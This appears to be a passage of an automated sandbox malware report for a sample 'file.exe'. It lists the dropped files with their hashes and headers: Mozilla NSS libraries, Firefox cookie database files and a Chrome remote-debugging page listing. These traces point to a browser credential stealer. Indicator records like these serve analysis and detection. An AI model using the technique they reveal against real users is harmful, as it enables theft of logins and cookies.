File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: WGo3ga1AL9.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: I43xo3KKfS.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Ky4J8k89A7.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: WGo3ga1AL9.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Ky4J8k89A7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.373355700553545
Encrypted:	false
SSDEEP:	48:SfNaoQ8djdaTEQtfNaoQQQ8fNaoQpQ/fNaoQy1u0UrU0U8QyU:6NnQ89MTEQZNnQQQoNnQpQXNnQy1u0Um
MD5:	3C9E2A7B4E528D7556A2DE70DD1ED686
SHA1:	6DD8E431166C77DF9C85F34A5C99DD8D74A7B99B
SHA-256:	0B5F716328AE50E0B7183E952FCA33BFBB90F7384720C97B258AB0817DC9127D
SHA-512:	F60B55CAD58228D02F1E466400DB3FB3A5DCD15BC3A9A6CB2CFC35651B687E738208E6FC91F9D5DA3F40912A3BAA41D50649A6F2CEEB8DD5DB85F0DB51F6352C
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/886285C382BFEF0AFC7F7D33C5B919B1",.. "id": "886285C382BFEF0AFC7F7D33C5B919B1",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/886285C382BFEF0AFC7F7D33C5B919B1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/EFE0917C9662FE80E55ED67E8B53F8D5",.. "id": "EFE0917C9662FE80E55ED67E8B53F8D5",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/EFE0917C9662FE80E55ED67E8B53F8D5"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (819)
Category:	downloaded
Size (bytes):	825
Entropy (8bit):	5.205577855450577
Encrypted:	false
SSDEEP:	24:9+rdgoa8miF5yJWkFOuBHslgT9lCuABuoB7HHHHHHHYqmffffffo:6goa8oxFOuKlgZ01BuSEqmffffffo
MD5:	CA9AA820784D0922712E4FC5ABD91DB7
SHA1:	342F1D8AE492DED7173C28F9B77B9088015676C6
SHA-256:	0881C98ABBD541C19B5CDFEF09AC274D12C7D4499A2744BA0B47E88DF408CE53
SHA-512:	5133A3F44C4F8E930FA798B345C91494A3CD476F55B633B96B848635D4AC9E362E2F2EB48047226D1B02BC33DCCF5C3220999F91C3458478229D639B97796A8E
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
